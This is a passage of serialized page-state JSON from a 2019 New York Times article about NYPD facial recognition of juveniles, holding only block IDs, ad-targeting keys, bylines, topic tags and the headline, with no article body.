Q6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.8","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.9","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.10","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.11","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.12","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.13","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.14","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.15","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.16","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.17","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.18","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.19","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.20","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.21","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.22","typename":"ImageBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.23","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.24","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.25","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.26","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.27","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.28","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.29","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.30","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.31","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.32","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.33","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.34","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.35","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.36","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.37","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.38","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.39","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.40","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.41","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.42","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.43","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.44","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.45","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.46","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.47","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.48","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.49","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.50","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.51","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.52","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.53","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.54","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.55","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.56","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.57","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.58","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.59","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.60","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.61","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.62","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.63","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.64","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.65","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.66","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.67","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.68","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.69","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.70","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.71","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.72","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.73","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.74","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.75","typename":"ParagraphBlock"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.76","typename":"Dropzone"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@take({\"first\":10000})@filterEmpty.77","typename":"RelatedLinksBlock"}]},"AdTargetingParam:als_test1565027040168":{"key":"als_test","value":"1565027040168","__typename":"AdTargetingParam"},"AdTargetingParam:propnyt":{"key":"prop","value":"nyt","__typename":"AdTargetingParam"},"AdTargetingParam:platweb":{"key":"plat","value":"web","__typename":"AdTargetingParam"},"AdTargetingParam:ednus":{"key":"edn","value":"us","__typename":"AdTargetingParam"},"AdTargetingParam:brandsensitivefalse":{"key":"brandsensitive","value":"false","__typename":"AdTargetingParam"},"AdTargetingParam:per":{"key":"per","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:orgpolicedepartmentnyc":{"key":"org","value":"policedepartmentnyc","__typename":"AdTargetingParam"},"AdTargetingParam:geonewyorkcity":{"key":"geo","value":"newyorkcity","__typename":"AdTargetingParam"},"AdTargetingParam:desjuveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties":{"key":"des","value":"juveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","__typename":"AdTargetingParam"},"AdTargetingParam:spon":{"key":"spon","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:authaliwatkins,josephgoldstein":{"key":"auth","value":"aliwatkins,josephgoldstein","__typename":"AdTargetingParam"},"AdTargetingParam:col":{"key":"col","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:collnewyork,usnews,technology,techandsociety":{"key":"coll","value":"newyork,usnews,technology,techandsociety","__typename":"AdTargetingParam"},"AdTargetingParam:artlenmedium":{"key":"artlen","value":"medium","__typename":"AdTargetingParam"},"AdTargetingParam:ledemedsznone":{"key":"ledemedsz","value":"none","__typename":"AdTargetingParam"},"AdTargetingParam:gui":{"key":"gui","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:templatearticle":{"key":"template","value":"article","__typename":"AdTargetingParam"},"AdTargetingParam:typart,oak":{"key":"typ","value":"art,oak","__typename":"AdTargetingParam"},"AdTargetingParam:sectionnyregion":{"key":"section","value":"nyregion","__typename":"AdTargetingParam"},"AdTargetingParam:si_sectionnyregion":{"key":"si_section","value":"nyregion","__typename":"AdTargetingParam"},"AdTargetingParam:id100000006583622":{"key":"id","value":"100000006583622","__typename":"AdTargetingParam"},"AdTargetingParam:trend":{"key":"trend","value":"","__typename":"AdTargetingParam"},"AdTargetingParam:ptnt10,nt15,nt16,nt18,nt3,nt4,nt9":{"key":"pt","value":"nt10,nt15,nt16,nt18,nt3,nt4,nt9","__typename":"AdTargetingParam"},"AdTargetingParam:gscatneg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education":{"key":"gscat","value":"neg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education","__typename":"AdTargetingParam"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0":{"displayName":"Joseph Goldstein","__typename":"Person","url":"","contactDetails":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails","typename":"ContactDetails"},"legacyData":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.legacyData","typename":"PersonLegacyData"}},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1":{"displayName":"Ali Watkins","__typename":"Person","url":"","contactDetails":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails","typename":"ContactDetails"},"legacyData":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.legacyData","typename":"PersonLegacyData"}},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0":{"creators":[{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0","typename":"Person"},{"type":"id","generated":true,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1","typename":"Person"}],"__typename":"Byline","renderedRepresentation":"By Joseph Goldstein and Ali Watkins"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.displayProperties":{"fullBleedDisplayStyle":"","__typename":"CreativeWorkDisplayProperties","serveAsNyt4":false},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.0":{"__typename":"Organization","vernacular":"NYPD","isAdvertisingBrandSensitive":false,"displayName":"Police Department (NYC)"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.1":{"__typename":"Subject","vernacular":"Juvenile delinquency","isAdvertisingBrandSensitive":false,"displayName":"Juvenile Delinquency"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.2":{"__typename":"Subject","vernacular":"Facial Recognition","isAdvertisingBrandSensitive":false,"displayName":"Facial Recognition Software"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.3":{"__typename":"Subject","vernacular":"Privacy","isAdvertisingBrandSensitive":false,"displayName":"Privacy"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.4":{"__typename":"Subject","vernacular":"Government Surveillance","isAdvertisingBrandSensitive":false,"displayName":"Surveillance of Citizens by Government"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.5":{"__typename":"Subject","vernacular":"Police","isAdvertisingBrandSensitive":false,"displayName":"Police"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.6":{"__typename":"Subject","vernacular":"Civil Rights","isAdvertisingBrandSensitive":false,"displayName":"Civil Rights and Liberties"},"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.timesTags@filterEmpty.7":{"__typename":"Location","vernacular":"NYC","isAdvertisingBrandSensitive":false,"displayName":"New York City"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.headline":{"default":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","__typename":"CreativeWorkHeadline","default@stripHtml":"She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.","seo@stripHtml":""},"Organization:T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=":{"id":"T3JnYW5pemF0aW9uOm55dDovL29yZ2FuaXphdGlvbi9jMjc5MTM4OC02YjE2LTVmZmQtYTExOS05NmVhY2IxOTg5YzE=","displayName":"New York Times","__typename":"Organization"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.printInformation":{"page":"1","section":"A","publicationDate":"2019-08-02T04:00:00.000Z","__typename":"PrintInformation","edition":"NewYork","headline@stripHtml":"In New York, Police Computers Scan Faces, Some as Young as 